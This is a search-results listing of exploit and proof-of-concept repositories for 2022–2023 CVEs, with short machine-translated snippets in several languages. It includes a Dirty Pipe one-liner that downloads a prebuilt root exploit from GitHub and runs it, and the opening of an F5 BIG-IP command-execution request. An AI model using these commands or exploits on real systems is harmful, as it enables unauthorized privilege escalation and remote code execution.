140187 matches found
CVE-2022-0847-dirty-pipe-exploit
CVE-2022-0847-dirty-pipe-exploit Um exploit para a vulnerabilidade dirty-pipe CVE-2022-0847 Como usar Compile com gcc exploit.c -o exploit assume que o gcc está instalado Execute ./exploit e ele abrirá um shell root Se você estiver recebendo uma mensagem de erro como, então, Faça login como root...
Dirty-Pipe
Exploit in una riga CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...
hexacon2022_AppleAVD
Dieses Repository hat keine README-Datei...
ConfluentPwn
ConfluentPwn Scanner di esecuzione remota di codice tramite iniezione ONGL pre-autenticazione in Confluence CVE-2022-26134. Utilizzo La GIF seguente mostra un utilizzo dimostrativo dello strumento: Ecco l'output di aiuto dello strumento: root@kitploit: $ ./cfscan -h...
jfrog-CVE-2022-21449
CVE-2022-21449 Übersicht Dieses Tool ermöglicht eine schnelle Überprüfung von kompilierten Code-Archiven .jar, .war usw., um die Anfälligkeit für CVE-2022-21449 zu prüfen, indem es nach dem String sucht, der die Verwendung des ECDSA-Algorithmus anzeigt. Das Tool verwendet Python3 ohne zusätzliche...
Mandela-Classic
Mandela Rewritten App di personalizzazione iOS che sfrutta CVE-2022-46689. Non richiede jailbreak. Disclaimer Non sono responsabile di eventuali danni al tuo dispositivo. Usa questa app a tuo rischio e pericolo. Istruzioni di compilazione root@kitploit: git clone...
CVE-2022-1388-Exploit-POC
CVE-2022-1388 EXPLOIT POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...
CVE-2022-22963-POC
Exploit CVE-2022-22963 Descrizione Nelle versioni di Spring Cloud Function 3.1.6, 3.2.2 e versioni precedenti non supportate, quando si utilizza la funzionalità di routing è possibile che un utente fornisca uno SpEL appositamente modificato come routing-expression che può comportare l'esecuzione ...
follina-spring
Sfruttamento di Follina MS-MSDT con Spring Boot Questo repository contiene una semplice applicazione Spring Boot che funge sia da server per ospitare/attivare payload Follina , sia da generatore di documenti Word dannosi pronti per essere utilizzati come vettori d'attacco per sfruttare...
ImageMagick-CVE-2022-44268-PoC
ImageMagick-CVE-2022-44268-PoC Uno script bash per sfruttare facilmente la vulnerabilità di lettura arbitraria dei file di ImageMagick CVE-2022-44268 Versione di ImageMagick interessata root@kitploit: Version: ImageMagick 6.9.11-60 Q16 x8664 2021-01-25 https://imagemagick.org Copyright: C 1999-20...
CVE-2023-28252-Compiled-exe
CVE-2023-28252-Compiled-exe Una modifica dell'eccellente exploit CVE-2023-2852 di Fortra per l'elevazione dei privilegi. Funziona su Windows 11 21H2 con clfs.sys versione 10.0.22000.1574 - funziona anche su Windows 10 21H2, Windows 10 22H2, Windows 11 22H2 e Windows Server 2022. Questa versione...
bitbucket-cve-2022-36804
bitbucket-cve-2022-36804 CVE-2022-36804 Atlassian Bitbucket Sicherheitslücke durch Befehlseinschleusung POC Folge uns YouTube Twitter Facebook...
Dirty-Pipe
Dirty Pipe Exploit CVE-2022-0847 Übersicht Dieses Repository enthält einen Proof-of-Concept-Exploit PoC für die Dirty-Pipe-Sicherheitslücke CVE-2022-0847 , die Linux-Kernelversionen 5.8 bis 5.16 betrifft. Diese Schwachstelle ermöglicht eine lokale Rechteausweitung , indem sie die unsachgemäße...
CVE-2022-0847-DirtyPipe-Exploits
CVE-2022-0847-DirtyPipe-Exploits Una raccolta di exploit e documentazione per penetration tester e red teamer, utile per agevolare lo sfruttamento della vulnerabilità Linux Dirty Pipe. Informazioni sulla vulnerabilità Dirty Pipe CVE-2022-0847 è una vulnerabilità di escalation dei privilegi locale...
CVE-2022-39425
CVE-2022-39425 CVE-2022-39425 PoC...
CVE-2022-36804
CVE-2022-36804 Puoi trovare uno script Python per sfruttare la vulnerabilità su Bitbucket relativa a CVE-2022-36804. root@kitploit: .,;;. .:lll:. 'clllllc. ,llolllooc' 'loooooooool, .;ooooooooooo;. .:;..;odddddddddo:. 'ldo:. ,llccoddddddc. ,oddddc. .. .:dddddddl' .;dxxxxxxc. .;dxxxxxxo, .:dxxxxxx...
CVE-2022-26134
CVE-2022-26134...
CVE-2022-29170
Questo repository non contiene un README...